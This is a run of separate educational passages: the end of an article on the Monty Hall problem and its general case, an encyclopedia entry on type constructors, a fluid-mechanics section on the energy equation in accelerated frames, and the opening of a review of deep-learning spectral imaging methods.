Now try the original MH(3,2) problem.
The reasoning is exactly the same as in the MH(100,98) case, but not quite as extreme.
The player picks a door which has a 1/3 chance of having a car behind it.
This means that the car has a 2/3 chance of being behind the doors that the host has control of. After the host opens the door to reveal a goat the car still has a 2/3 chance of being behind the unopen door - again you would be an idiot not to swap.
Easy really!
And it is all because the car has more chance of being behind one of the doors that hasn't been picked!
## The general case
You can even generalize to MH(n,m).
When the player picks a single door there are n-1 left and so the probability of picking the wining door is just 1/n and the probability of the car being behind a door in the unpicked set is (n-1)/n or (1-1/n).
If the host now opens m doors to show m goats the probability that the car is behind the remaining n-m-1 doors is still (1-1/n) and hence the chance that is behind any one door is (1-1/n)/(n-m-1).
As long as
(1-1/n)/(n-m-1) > 1/n
then the player should switch.
For example in the case of MH(3,1) we have
(1-1/3)/(3-1-1)=2/3>1/3
so you should switch. In the case of MH(100,98)
(1-1/100)/(100-98-1) > 1/100
and again you should switch.
If you work this out for a few other examples, you should be able to see that only if the host opens even one door the player should switch because the probability that the car is behind one of the other doors is still better than the initial choice offered.
## Other examples
What is interesting is that this situation occurs in other situations and you need to keep watch for it.
For example, you get exactly the same set of conditions with the three-shell trick. Here you place a pea under a shell, let the player pick a shell at random, reveal that the pea isn't under one of the other two shells, should the player switch? Of course, this is just MH(3,2).
There are card games where the banker has a knowledge of the hand and can remove cards that are clearly non-winning and show the players - the same mechanism applies.
Whenever you make a random choice of some state and leave a larger set of possible states, then it is always better to re-choose if another mechanism whittles down the number of possible states after the choice.
The reason is that it is more likely that your first choice failed, and that what you are looking for is in the set of states that has now been reduced. So the probability of your new guess being correct is always geater than the probablity of your original guess.
#### Related Articles
Dangerous Logic - De Morgan & Programming
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What's a Sample of Size One Worth?
The Monte Carlo Method
Inside Random Numbers
//No Comment - Should I use TensorFlow, AI Real Estate & Lip Reading30/11/2016• Should I use TensorFlow • Image Based Appraisal of Real Estate Properties • Lip Reading Sentences in the Wild + Full Story Gain A Competitive Edge With Uber's Driver API 08/11/2016A new sort of API, invokable by 3rd party consumers and carrying brand new functionality, finds its way to Uber's repository's already rich collection of APIs and Uber is offering developers beta acce [ ... ] + Full Story More News
Last Updated ( Thursday, 06 March 2014 )
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# Type constructor
In the area of mathematical logic and computer science known as type theory, a type constructor is a feature of a typed formal language that builds new types from old. Typical type constructors encountered are product types, function types, power types and list types. Basic types are considered nullary type constructors. New types can be defined by recursively composing type constructors.
For example, simply typed lambda calculus can be seen as a language with a single type constructor—the function type constructor. Product types can generally be considered "built-in" in typed lambda calculi via currying.
Abstractly, a type constructor is an n-ary type operator taking as argument zero or more types, and returning another type. Making use of currying, n-ary type operators can be (re)written as a sequence of applications of unary type operators. Therefore, we can view the type operators as a simply typed lambda calculus, which has only one basic type, usually denoted *, and pronounced "type", which is the type of all types in the underlying language, which are now called proper types in order to distinguish them from the types of the type operators in their own calculus, which are called kinds.
Instituting a simply typed lambda calculus over the type operators results in more than just a formalization of type constructors though. Higher-order type operators become possible. (See Kind (type theory) for some examples.) Type operators correspond to the 2nd axis in the lambda cube, leading to the simply typed lambda-calculus with type operators, λω; while this is not so well known, combining type operators with polymorphic lambda calculus (system F) yields system F-omega.
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7.4.2: Linear Accelerated System
The acceleration can be employed in similar fashion as the gravity force. The linear acceleration "creates'' a conservative force of constant force and direction. The "potential'' of moving the mass in the field provides the energy. The Force due to the acceleration of the field can be broken into three coordinates. Thus, the element of the potential is
$\label{ene:eq:acceleration3C} d\,PE_{a} = \pmb{a} \cdot d\pmb{ll} \,dm$
The total potential for element material
$\label{ene:eq:elePE} PE_{a} = \int_{(0)}^{(1)} \pmb{a} \cdot d\pmb{ll} \,dm = \left( a_x \left( x_1 - x_0 \right) a_y \left( y_1 - y_0 \right) a_z \left( z_1 - z_0 \right) \right) \,dm$ At the origin (of the coordinates) $$x=0$$, $$y=0$$, and $$z=0$$. Using this trick the notion of the $$a_x \left( x_1 - x_0 \right)$$ can be replaced by $$a_x\,x$$. The same can be done for the other two coordinates. The potential of unit material is
$\label{ene:eq:PEtotal} {PE_a}_{total} = \int_{sys} \left( a_x\,x + a_y\,y + a_z\,z \right) \,\rho \,dV$ The change of the potential with time is
$\label{ene:eq:PEtotalDT} \dfrac{D}{Dt} {PE_a}_{total} = \dfrac{D}{Dt} \int_{sys} \left( a_x\,x + a_y\,y + a_z\,z \right) \,dm$ Equation can be added to the energy equation as
$\label{ene:eq:EneAccl} \dot{Q} - \dot{W} = \dfrac{D}{Dt} \int_{sys} \left[ E_u + \dfrac{U^2}{2\dfrac{}{}} + a_x\,x + a_y\, y + (a_z + g) z \right] \rho\,dV$
The Reynolds Transport Theorem is used to transferred the calculations to control volume as
Energy Equation in Linear Accelerated Coordinate
$\nonumber \dot{Q} - \dot{W} = \dfrac{d}{dt} \int_{cv} \left[ E_u + \dfrac{U^2}{2\dfrac{}{}} + a_x\,x + a_y\, y + (a_z + g) z \right] \rho\,dV \\ \label{ene:eq:ene:AccCV} + \int_{cv} \left( h + \dfrac{U^2}{2\dfrac{}{}} + a_x\,x + a_y\, y + (a_z + g) z \right) U_{rn}\, \rho\,dA\ \nonumber + \int_{cv} P\,U_{bn} \,dA$
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# Spectral imaging with deep learning
## Abstract
The goal of spectral imaging is to capture the spectral signature of a target. Traditional scanning method for spectral imaging suffers from large system volume and low image acquisition speed for large scenes. In contrast, computational spectral imaging methods have resorted to computation power for reduced system volume, but still endure long computation time for iterative spectral reconstructions. Recently, deep learning techniques are introduced into computational spectral imaging, witnessing fast reconstruction speed, great reconstruction quality, and the potential to drastically reduce the system volume. In this article, we review state-of-the-art deep-learning-empowered computational spectral imaging methods. They are further divided into amplitude-coded, phase-coded, and wavelength-coded methods, based on different light properties used for encoding. To boost future researches, we’ve also organized publicly available spectral datasets.
## Introduction
With the ability of getting distinctive information in spatial and spectral domain, spectral imaging technology has vast applications in remote sensing1, medical diagnosis2, biomedical engineering3, archeology and art conservation4, and food inspection5. Traditional methods of spectral imaging include whiskbroom scanning, pushbroom scanning, and wavelength scanning. Whiskbroom spectroscopy performs scanning pixel by pixel. A widely acknowledged example is Airborne Visible/Infrared Imaging Spectrometer6,7, which implemented whiskbroom approach on aircraft for Earth remote sensing. Pushbroom scan system uses the entrance slit and builds image line by line. The Hyperspectral Digital Imagery Collection Experiment instrument8,9 implemented pushbroom imaging optics with a prism spectrometer, offering a good capability for remote sensing. Wavelength scanning methods capture spectral image cubes through swapping narrow bandpass filters in front of the camera lens or using electronically tunable filters10,11. These typical scanning spectral imaging approaches are illustrated in Fig. 1.
However, traditional scanning methods suffer from the low speed of the spectral image acquisition process because of the time-consuming scanning mechanism. As a consequence, they are not applicable for large scenes or dynamic recording. To solve this problem, researchers started to explore snapshot spectral imaging methods12. Early endeavors include integral field spectrometry, multispectral beam splitting, and image-replicating imaging spectrometer, as mentioned in ref. 12. These methods cannot obtain massive spectral channels and have bulky optical systems, though achieving multispectral imaging through splitting light.
With the development of compressed-sensing (CS) theory13,14, compressive spectral imaging has received growing attention from researchers because of its elegant combination of optics, mathematics and optimization theory. It has the ability to perform spectral imaging through fewer measurements, which is essential in resource-constrained environments. Compressive spectral imaging techniques often use a coded aperture to block or filter the input light field, namely the encoding process in the compressive sensing pipeline. As the name indicates, this process plays a role in information compression, which is flexible in design and provides the prior knowledge for later reconstruction. Different from the hardware-based encoding, its decoding process requires the computation via designed algorithms. Traditional reconstruction approach is iterative, using designed measurement of the encoding process and other prior knowledge for reconstruction. As a consequence, the decoding procedure is computationally expensive and can take minutes or even hours for spectral reconstruction. Furthermore, degradation problem when using fewer measurements also limits its application in resource-constrained environments.
While using coded aperture for amplitude encoding has shown the capability of spectral imaging from fewer measurements, the reduced light throughput and large system volume make it unsuitable for practical applications. To overcome this drawback, phase-coded spectral imaging15,16 is developed to improve light throughput and reduce system volume. Its main idea is using a carefully-designed thin diffraction optical element to manipulate the input light phase, which will affect the spectra in the diffraction process. Then, to recover spectra modeled in the complex diffraction process, powerful deep-learning techniques are required.
Researchers in computer graphics are also seeking to optimize spectra reconstruction, because using spectra is better than RGB triplets when rendering a scene illumination or display a virtual object on a monitor device. Early works17,18,19 obtain spectrum from RGB triplet, but this can be an ill-posed problem that has non-unique solutions and negative spectrum values. Later works involved more effective methods such as basis function fitting20 and dictionary learning21. The latter is based on the hyperspectral dataset, yet still have the problem of long-time weight fitting procedure. As demonstrated in a statistical research on hyperspectral images22, spectra within an image patch are correlated. Nevertheless, these pixel-wise methods fail to exploit the correlation information in a spectral data cube, hence effective patch feature extraction algorithms are expected. The pursuit of accurate and fast RGB-to-spectra approach has pushed the development of wavelength-coded methods. Researchers extended the RGB filters to multiple self-designed broadband filters for delicate wavelength encoding, and a reliable decoding algorithm is in demand. Completing such complex computing tasks is the mission of deep learning.
To alleviate the high computation costs in the aforementioned methods, deep-learning algorithm has been proposed as an alternative for learning spatial–spectral prior and spectral reconstruction. Deep-learning techniques can perform faster and more accurate reconstruction than iterative approaches, thus is suitable to apply on spectral recovery tasks. In recent years, many works have employed deep-learning models (such as convolutional neural networks, CNNs) in their spectral imaging framework and showed improved reconstruction speed and quality15,16,23,24,25.
In this review, we will look back at the development in spectral imaging with deep-learning tools and look forward to the future directions for computational spectral imaging systems with deep-learning technology. In the following sections, we will first discuss the deep-learning-empowered compressive spectral imaging methods that perform amplitude encoding using coded apertures in “Amplitude-coded Spectral Imaging”. We will then introduce phase-coded methods that use diffractive optical element (DOE, or diffuser) in “Phase-coded Spectral Imaging”. In “Wavelength-coded Spectral Imaging”, we will introduce wavelength-coded methods that use RGB or broadband optical filters for wavelength encoding, and adopt deep neural networks for spectral reconstruction. To boost future researches on learned spectral imaging, we have organized existing spectral datasets and the evaluation metrics (in “Spectral Imaging Datasets”). Finally, we will summarize the deep-learning-empowered spectral imaging methods in “Conclusions and Future Directions” and share our thoughts on the future.
## Amplitude-coded spectral imaging
Amplitude-coded methods use coded aperture and dispersive elements for compressive spectral imaging. The classical system is coded aperture snapshot spectral imager (CASSI). To date, there are four CASSI architectures based on different spatial–spectral modulation styles, as shown in Fig. 2. The first proposed architecture is dual-disperser CASSI (DD-CASSI)26, which consists of two dispersive elements for spectral shearing with a coded aperture in between. Single-dispersive CASSI (SD-CASSI)27 is a later work, using one dispersive element placed behind the coded aperture. Snapshot colored compressive spectral imager (SCCSI)28 uses also a coded aperture and a dispersive element, but places the coded aperture behind the dispersive element. In comparison to SCCSI that attaches colored coded aperture (or, color filter array) to the camera sensor, spatial–spectral CASSI (SS-CASSI) architecture29 adds the flexibility of coded aperture position between spectral plane and sensor plane. This increases the complexity of the coded-aperture model, which may play a role in improving the system performance. Some deep-learning-based compressive spectral imaging methods have found better results with SS-CASSI30,31.
### Coded-aperture model
Since most works were based on SD-CASSI system, we will give a detailed derivation of the image construction process of SD-CASSI. The image formation procedure is different for other CASSI architectures in Fig. 2, but the key processes (vectorization, discretization, etc.) are the same. We refer readers to refs. 26,28,29 for a detailed modeling of the DD-CASSI, SCCSI, and SS-CASSI, respectively.
At the time when SD-CASSI was proposed, coded aperture had block–unblock pattern, which was extended to colored pattern in ref. 32. We will use a colored coded aperture in derivation for generality. Consider a target scene with spectral density f(x, y, λ) and track its route in an SD-CASSI system: it first encounters a coded aperture with transmittance T(x, y, λ) and then is sheared by a dispersive element (assume at x-axis), finally punches on the detector array. Figure 3 illustrates the whole process.
The spectral density before the detector is formulated as
$$\begin{array}{lll}g(x,y,\lambda )&=&\iint \delta \left(x^{\prime} \,-\,[x\,+\,\alpha (\lambda \,-\,{\lambda }_{c})]\right)\delta (y^{\prime} \,-\,y)\,\cdot\, f(x^{\prime} ,y^{\prime} ,\lambda )\,T(x^{\prime} ,y^{\prime} ,\lambda )\,\,{{\mbox{d}}}x^{\prime} {{\mbox{d}}}\,y^{\prime} \\ &=&f(x\,+\,\alpha (\lambda \,-\,{\lambda }_{c}),y,\lambda )\,T(x\,+\,\alpha (\lambda \,-\,{\lambda }_{c}),y,\lambda )\end{array}$$
(1)
where delta function represents the spectral dispersion introduced by the dispersive element, such as a prism or gratings. α is a calibration factor, and λc is the center wavelength of dispersion. Since we can only measure the intensity on the detector, the measurement should be the integral along the wavelength:
$$\begin{array}{lll}g(x,y)&=&\int _{{{\Lambda }}}g(x,y,\lambda )\,\,{{\mbox{d}}}\,\lambda \\ &=&\int _{{{\Lambda }}}f(x\,+\,\alpha (\lambda \,-\,{\lambda }_{c}),y,\lambda )\,T(x\,+\,\alpha (\lambda -{\lambda }_{c}),y,\lambda )\,\,{{\mbox{d}}}\,\lambda \end{array}$$
(2)
where Λ is the spectrum range.
Next, we discretize Eq. (2). Denote Δ as the pixel size (in x and y dimension) of the detector, and assume the coded aperture has square pixel size Δcode = qΔ, q ≥ 1. The code pattern is then represented as a spatial array of its pixels:
$$T(x,y,\lambda )\,=\,\mathop{\sum}\limits_{m,n}T(m,n,\lambda ){{{\rm{rect}}}}\left(\frac{x}{q{{\Delta }}}\,-\,m,\frac{y}{q{{\Delta }}}\,-\,n\right)$$
(3)
Finally, signals within the region of a pixel will be accumulated in the sampling process:
$$\begin{array}{ll}g(m,n)&=\iint g(x,y){{{\rm{rect}}}}\left(\frac{x}{{{\Delta }}}\,-\,m,\frac{y}{{{\Delta }}}\,-\,n\right)\,{{{\rm{d}}}}x{{{\rm{d}}}}y\\ &=\iint {{{\rm{d}}}}x{{{\rm{d}}}}y\,{{{\rm{rect}}}}\left(\frac{x}{{{\Delta }}}\,-\,m,\frac{y}{{{\Delta }}}\,-\,n\right)\int _{{{\Lambda }}}{{{\rm{d}}}}\lambda \,f\left(x\,+\,\alpha (\lambda \,-\,{\lambda }_{C}),y,\lambda \right)\\ &\qquad\times \left[\mathop{\sum}\limits_{m^{\prime} ,n^{\prime} }T(m^{\prime} ,n^{\prime} ,\lambda ){{{\rm{rect}}}}\left(\frac{x\,+\,\alpha (\lambda \,-\,{\lambda }_{C})}{q{{\Delta }}}\,-\,m^{\prime} ,\frac{y}{q{{\Delta }}}\,-\,n^{\prime} \right)\right]\end{array}$$
(4)
To further simplify Eq. (4), we discrete f and T using their central pixel intensity. Take spectral resolution Δλ as the spectral interval. We use the intensity f(m, n, l) ($$m,n,l\in {\mathbb{N}}$$) to represent a pixel of the spectral density f(x, y, λ), where x$$\in$$ [mΔ − Δ/2, mΔ + Δ/2], y$$\in$$ [nΔ − Δ/2, nΔ + Δ/2], λ$$\in$$ [λC + lΔλ − Δλ/2, λC + lΔλ + Δλ/2]. Adjust the calibration factor α so that the dispersion distance satisfies $$\alpha {{{\Delta }}}_{\lambda }\,=\,k{{\Delta }},k\,\in\, {\mathbb{N}}$$. Then Eq. (4) becomes
$$g(m,n)\,=\,\mathop{\sum}\limits_{l}f(m\,+\,lk,n,l)\,T\left(\lfloor \frac{m\,+\,lk}{q}\,+\,\frac{1}{2}\rfloor ,\lfloor \frac{n}{q}\,+\,\frac{1}{2}\rfloor \right)$$
(5)
To adopt reconstruction algorithms, we need to rewrite Eq. (5) in a matrix form. This procedure is illustrated in Fig. 4.
First, we vectorize the measurement and spectral cube as Fig. 4a:
$$\begin{array}{lll}{{{\bf{y}}}}&=&{{{\rm{vect}}}}\left[g(m,n)\right],\\ {{{\bf{x}}}}&=&{{{\rm{vect}}}}\left[f(m,n,l)\right]\end{array}$$
(6)
where the measurement term $$g\in {{\mathbb{R}}}^{M\,\times\, N}$$ and spectral cube $$f\in {{\mathbb{R}}}^{M\,\times\, N\,\times\, L}$$, with spatial dimension M × N and spectral dimension L. After vectorization, we have the vectorized terms $${{{\bf{y}}}}\,\in\, {{\mathbb{R}}}^{MN},{{{\bf{x}}}}\,\in\, {{\mathbb{R}}}^{MNL}$$.
Next, the coded aperture and dispersion shift are modeled into a sensing matrix $${{\Phi }}\,\in\, {{\mathbb{R}}}^{MV\,\times\, MNL},$$ where V = N + k(L − 1) contains the dispersion shift (the shift distance is $$\alpha {{{\Delta }}}_{\lambda }\,=\,k{{\Delta }},k\,\in\, {\mathbb{N}}$$). A sensing matrix (for k = 1) produced from a colored coded aperture is shown in Fig. 4b.
Finally, the reconstruction problem is formulated as
$$\mathop{\min }\limits_{{{{\bf{x}}}}}\parallel {{{\bf{y}}}}\,-\,{{\Phi }}{{{\bf{x}}}}\parallel \,+\,\eta R({{{\bf{x}}}})$$
(7)
where Φ is the sensing matrix, and y is measurement. Term R stands for priority, which is a regularizer determined by the prior knowledge of the input scene x (e.g., sparsity), and term η is a weight for the prior knowledge.
### Deep compressive reconstruction
Traditional methods for spectral image reconstruction usually utilize iterative optimization algorithms, such as GAP-TV33, ADMM34, etc. These methods suffers a long reconstruction time for iterations. Besides, the spatial and spectral reconstruction accuracy is not solid by using hand-crafted priors. For example, total variance (TV) prior is always used in reconstruction algorithms, but it sometimes brings over-smoothness to the result.
Deep-learning techniques can be applied to each step in amplitude-coded spectral imaging methods, from the design of amplitude encoding strategy (coded aperture optimization) to finding a representative regularizer (term R in Eq. (7)), and the whole reconstruction process can be substituted with a neural network. Adopting deep-learning methods can improve the reconstruction speed by hundred of times. Moreover, learning priors from large amount of spectral data by neural networks can promote the reconstruction accuracy in both spatial and spectral domains. We have summarized recent years’ works of deep-learning-based coded aperture spectral imaging in Table 1 for comparison.
Based on different places deep learning is used, we divide the deep-learning-based compressive reconstruction methods into four categories: (i) end-to-end reconstruction that uses deep neural networks for direct reconstruction; (ii) joint mask learning that simultaneously learns the coded aperture pattern and the subsequent reconstruction network; (iii) unrolled network that unfolds the iterative optimization procedure into a deep network with many stage blocks; (iv) untrained network that uses the broad range of the neural network as a prior and performs iterative reconstruction. The main ideas of these four categories are illustrated in Fig. 5.
#### E2E reconstruction
End-to-end (E2E) reconstruction sends measurement into a deep neural network which directly outputs the reconstruction result. Among E2E methods, deep external–internal learning35 proposed a novel learning strategy. First, external learning from large dataset was performed to improve the general capability of the network. Then for a specific application, internal learning from single spectral image was used for further improvement. In addition, fusion with panchromatic image showed benefits in improving spatial resolution. λ-Net36 is an alternative architecture based on conditional generative adversarial network (cGAN). It also adopted self-attention technique and hierarchical reconstruction strategy to promote the performance.
Dataset, network design and loss function are three key factors of the E2E methods. For future improvement, various techniques from RGB patch-wise spectral reconstruction can be employed (see section “RGB Pixel-wise Spectral Reconstruction”). For example, residual blocks, dense structure, and attention module are expected to be adopted. For the choice of loss functions, back-projection pixel loss is suggested to employ, which is beneficial to data fidelity. It simulates the measurement using the known coded aperture pattern and reconstructed spectral image, and compares the simulated back-projected measurement with the ground truth. Novel losses such as feature and style loss can also be attempted.
Coded aperture relates to sensing matrix Φ involved in spectral image acquisition process. Conventional methods based on CASSI often adopt random coded apertures since the random code can preserve the properties needed for reconstruction (e.g., restricted isometry property, RIP37) in high probability. As demonstrated in ref. 38, there are approaches for optimizing coded apertures by considering RIP as the criteria. However, such optimization does not present a significant improvement compared to the random coded masks.
In deep compressive reconstruction architecture, coded aperture is seen as an encoder to embed the spectral signatures. Therefore, it should be optimized together with the decoder, i.e., the reconstruction network. HyperReconNet39 jointly learns the coded aperture and the corresponding CNN for reconstruction. Coded aperture was appended into the network as a layer, and BinaryConnect method40 was adopted to map float digits to binary coded aperture entities. However, most works that used deep learning did not carefully optimize the coded aperture, hence this direction remains to be researched deeper.
#### Unrolled network
Unrolled network unfolds the iterative optimization-based reconstruction procedure into a neural network. In detail, a block of the unrolled network learns the solution of one iteration in the optimization algorithm.
Wang et al.24 proposed a hyperspectral image prior network that is adapted from the iterative reconstruction problem. Based on half quadratic splitting (HQS)41, they obtained an iterative optimization formula. By using network layers to learn the solution, they unfolded the K-iteration reconstruction procedure into a K-stage neural network. As a later work, Deep Non-local Unrolling (DNU)42 further simplified the formula derived in ref. 24 and rearranged the sequential structure in ref. 24 into a parallel one. Sogabe et al. proposed an ADMM-inspired network for compressive spectral imaging43. They unrolled the adaptive ADMM process into a multi-staged neural network and showed a performance improvement compared to HQS-inspired method24.
Unrolled network can boost the reconstruction speed by freezing the parameters of iteration into neural network layers. Each stage has the mission to solve an iteration equation, which makes the neural network explainable.
#### Untrained network
Deep image prior, as proposed in ref. 44, states that the structure of a generative network is sufficient to capture image priors for reconstruction. To be more specific, the range of deep neural networks can be large enough to include all common spectral image that we are going to recover. Therefore, carefully-designed untrained network is capable of performing spectral image reconstruction. Though it takes time for the iterative gradient descent procedure, such approach is free from pre-training and has high generalization ability.
Those labeled untrained in Table 1 adopted untrained network for compressive spectral reconstruction. The HCS2-Net31 took random code of the coded aperture and snapshot measurement as the network input, and used unsupervised network learning for spectral reconstruction. They adopted many deep-learning techniques such as residual block and attention module to enhance the network capability. In ref. 45, spectral data cube was considered as a 3D tensor and tensor Tucker decomposition46 was performed in a learned way. They designed network layers based on Tucker decomposition and used low rank prior of the core tensor, which may be beneficial to better capture the spectral data structure.
## Phase-coded spectral imaging
Phase-coded spectral imaging formulates the image generation as a convolution process between wavelength specified point spread function (PSF) and monochrome object image at each wavelength. The phase encoding manipulates the phase term of the PSF which will distinguish spectral signature as light propagates. Compared with amplitude-coded spectral imaging, phase-coded approach can greatly increase the light throughput (hence the signal-to-noise ratio). Since the phase encoding is mainly operated on a thin DOE, which is easy to attach onto a camera, the phase-coded spectral imaging system can be very compact.
One can recover the spectral signature by designing algorithms with the corresponding DOE (also called diffuser in some works16,47,48,49). With the aid of deep learning, these methods displayed comparable performance. Furthermore, benefitting from the depth dependence of diffraction model, they can also obtain depth information apart from spectral signature of a scene50.
Phase-coded approach for spectral imaging consists of two parts: (i) phase encoding strategy, often related to the design of DOE; (ii) reconstruction algorithm establishment. In this section, we first describe the phase encoding diffraction model, then introduce deep-learning-empowered works using different phase encoding strategies and systems.
### Diffraction model
The phase-coded spectral imaging system is based on previous works of diffractive imaging51,52. The system often consists of a DOE (transmissive or reflective) and a bare camera sensor, separated by a distance z. As illustrated in Fig. 6, there are two kinds of phase-coded spectral imaging systems, namely DOE-Fresnel diffraction (left) and DOE-Lens system (right), different from whether there is a lens.
#### PSF construction
We use the transmissive DOE for model derivation. PSF pλ(x, y) is the system response to a point source at the image plane. Suppose the incident wave field at position $$(x^{\prime} ,y^{\prime} )$$ of the DOE coordinate at wavelength λ is
$${u}_{0\lambda }(x^{\prime} ,y^{\prime} )\,=\,{A}_{\lambda }(x^{\prime} ,y^{\prime} ){e}^{i{\phi }_{0\lambda }(x^{\prime} ,y^{\prime} )}$$
(8)
The wave field first experiences a phase shift ϕh determined by the height profile of the DOE:
$$\begin{array}{lll}{u}_{1\lambda }(x^{\prime} ,y^{\prime} )&=&{A}_{\lambda }(x^{\prime} ,y^{\prime} ){e}^{i\left[{\phi }_{0\lambda }(x^{\prime} ,y^{\prime} )\,+\,{\phi }_{h}(x^{\prime} ,y^{\prime} )\right]},\\ {\phi }_{h}(x^{\prime} ,y^{\prime} )&=&k{{\Delta }}{n}_{\lambda }h(x^{\prime} ,y^{\prime} )\end{array}$$
(9)
where Δn is the refractive index difference between DOE (n(λ)) and air, k = 2π/λ is the wave number.
For the DOE-lens system, the PSF is16:
$${p}_{\lambda }(x,y)\,=\,\left|{{{{\mathcal{F}}}}}^{-1}\left[{u}_{1\lambda }(x^{\prime} ,y^{\prime} )\right]\right|$$
(10)
where $${{{{\mathcal{F}}}}}^{-1}$$ is the inverse 2D Fourier transform due to the Fourier characteristics of the lens.
For DOE-Fresnel diffraction system, the wave field propagates a distance z that can be modeled by the Fresnel diffraction law such that λz:
$$\begin{array}{lll}{u}_{2\lambda }(x,y)&=&\frac{{e}^{ikz}}{i\lambda z}\iint {u}_{1\lambda }(x^{\prime} ,y^{\prime} ){e}^{\frac{ik}{2z}\left[{(x\,-\,x^{\prime} )}^{2}\,+\,{(y\,-\,y^{\prime} )}^{2}\right]}\,\,{{\mbox{d}}}x^{\prime} {{\mbox{d}}}\,y^{\prime} \\ &=&\frac{{e}^{ikz}}{i\lambda z}\iint {A}_{\lambda }(x^{\prime} ,y^{\prime} ){e}^{i\left[{\phi }_{0\lambda }(x^{\prime} ,y^{\prime} )\,+\,{\phi }_{h}(x^{\prime} ,y^{\prime} )\right]}{e}^{\frac{ik}{2z}\left[{(x\,-\,x^{\prime} )}^{2}\,+\,{(y\,-\,y^{\prime} )}^{2}\right]}\,\,{{\mbox{d}}}x^{\prime} {{\mbox{d}}}\,y^{\prime} \end{array}$$
(11)
Finally, for computation convenience, we expand the Eq. (11) and represent it with a Fourier transform $${{{\mathcal{F}}}}$$. The final PSF is formulated as
$${p}_{\lambda }(x,y)\,\propto\, {\left|{{{\mathcal{F}}}}\left[{A}_{\lambda }(x^{\prime} ,y^{\prime} ){e}^{i\left[{\phi }_{0\lambda }(x^{\prime} ,y^{\prime} )\,+\,{\phi }_{h}(x^{\prime} ,y^{\prime} )\right]}{e}^{i\frac{\pi }{\lambda z}(x{^{\prime} }^{2}\,+\,y{^{\prime} }^{2})}\right]\right|}^{2}$$
(12)
#### Image formation
Considering an incident object distribution $${o}_{\lambda }(x^{\prime} ,y^{\prime} )$$ at DOE, we can decompose it into integral of object points:
$${o}_{\lambda }(x^{\prime} ,y^{\prime} )\,=\,\iint {o}_{\lambda }(\xi ,\eta )\,\cdot\, \delta (x^{\prime} \,-\,\xi ,y^{\prime} \,-\,\eta )\,\,{{\mbox{d}}}\xi {{\mbox{d}}}\,\eta$$
(13)
Before hitting the sensor, the spectral distribution is
$$\begin{array}{lll}{I}_{\lambda }(x,y)&=&\iint {o}_{\lambda }(\xi ,\eta )\cdot {{{\rm{PSF}}}}\{\delta (x^{\prime} \,-\,\xi ,y^{\prime} \,-\,\eta )\}\,\,{{\mbox{d}}}\xi {{\mbox{d}}}\,\eta \\ &=&\iint {o}_{\lambda }(\xi ,\eta )\,\cdot\, {p}_{\lambda }(x\,-\,\xi ,y-\eta )\,\,{{\mbox{d}}}\xi {{\mbox{d}}}\,\eta \\ &=&{o}_{\lambda }(x,y)\,*\, {p}_{\lambda }(x,y)\end{array}$$
(14)
where PSF denotes system response to a point source and pλ is shifted by ξ and η in x and y axis because of the same shift at the point source.
Finally, on the sensor plane (with sensor spectral response D), the intensity is
$$I(x,y)\,=\,\int _{{{\Lambda }}}\,D(\lambda )\,\cdot\, \left[{o}_{\lambda }(x,y)\,*\, {p}_{\lambda }(x,y)\,\,{{\mbox{d}}}\,\lambda \right]$$
(15)
Similar to Fig. 4, vectorize oλ to x and matrixize the convolution with PSF function to Φ, we can discretize Eq. (15) and form the reconstruction problem as Eq. (7). Researchers can use similar optimization algorithms or deep-learning tools for DOE design and spectral image recovery.
### Phase encoding strategies
A good PSF design contributes to the effective phase encoding, which can bring more precise spectral reconstruction results. Based on the slight difference of the imaging system, we categorize the phase encoding strategies below.
#### DOE with Fresnel diffraction
Many phase-coded spectral imaging methods are developed from diffractive computational color imaging. Peng et al.53 proposed an optimization-based DOE design approach to obtain a shape invariant PSF towards wavelength. Together with the deconvolution method, they reconstructed high-fidelity color image.
Although the shape invariant PSF53 is beneficial for high-quality achromatic imaging, the overlap of PSF at each wavelength causes difficulty on spectral reconstruction, which hinders its application on spectral imaging. Jeon et al.15 designed a spectrally varying PSF that regularly rotates with wavelength, which encoded the spectral information. Their rotational PSF design makes it distinct at different wavelength, which is quite suitable for spectral imaging. By putting the resultant intensity image into an optimization-based unrolled network, they achieved high peak signal-to-noise ratio (PSNR) and spectral accuracy in visible wavelength range, within a very compact system.
#### DOE/diffuser with lens
A similar architecture is using DOE (or, diffuser) with an imaging lens closely behind, which is shown in Fig. 6 (right). In 2016, Golub et al.49 proposed a simple diffuser-lens optical system and used compressed-sensing-based algorithm for spectral reconstruction. Hauser et al.16 extended the work to 2D binary diffuser (for binary phase encoding) and employed a deep neural network (named DD-Net) for spectral reconstruction. They reported high-quality reconstruction in both simulation and lab experiments.
#### Combination with other encoding approach
Combining phase encoding with other encoding architectures is also a feasible approach, and deep learning can handle such complicated combined-architecture model. For example, compressive diffraction spectral imaging method combined DOE for phase encoding with coded apertures for further amplitude encoding54. However, the reconstruction progress is very tough, and the light efficiency is not high. Another example is the combination with optical filter array. Based on previous works of lensless imaging47,55, Monakhova et al. proposed a spectral DiffuserCam48, using a diffuser to spread the point source and a tiled filter array for further wavelength encoding. As the method has a similar mathematical spectral formation model, it is promising to apply deep learning to spectral DiffuserCam’s complex reconstruction task.
## Wavelength-coded spectral imaging
Wavelength-coded spectral imaging uses optical filters to encode spectral signature along wavelength axis. Among wavelength-coded methods, RGB image, which is encoded by RGB narrowband filters, is mostly used. It is necessary to reconstruct the spectral image from the RGB one, because RGB image is commonly used by people, and the corresponding spectral image is fundamental to rendering scenes on monitors. Over the years, researchers have been pursuing fast and accurate approaches of wavelength-coded spectral imaging. They found RGB filters may be suboptimal, thus different narrowband filters as well as self-designed broadband filters are explored.
### Image formation model
We first introduce the image formation model in wavelength encoding context. Consider an intensity Ik(x, y) from a pixel at (x, y), k is the channel index indicating different wavelength modulation. For RGB image, k {1, 2, 3}, representing red, green, and blue. The encoded intensity is generated by the scene reflectance spectra S under illumination E:
$${I}_{k}(x,y)\,=\,\int _{{{\Lambda }}}E(\lambda )S(x,y,\lambda ){Q}_{k}(\lambda )D(\lambda )\,\,{{\mbox{d}}}\,\lambda$$
(16)
where Qk is the kth filter transmittance curve, D is the camera sensitivity, and Λ is the wavelength range. Illumination distribution E and scene spectral reflectance S can be combined as the scene spectral radiance R:
$${I}_{k}(x,y)\,=\,\int _{{{\Lambda }}}R(x,y,\lambda ){Q}_{k}(\lambda )D(\lambda )\,\,{{\mbox{d}}}\,\lambda$$
(17)
The imaging process is illustrated in Fig. 7. In practice, we have the encoded object intensities I and filter curves Q, but the camera sensitivity is sometimes inconvenient to measure, thus many methods assume it be ideally flat. Under experimental conditions, we also know illumination E. Then Eq. (17) (or Eq. (16)) becomes an (underdetermined) matrix inversion problem after discretization.
### RGB pixel-wise spectral reconstruction
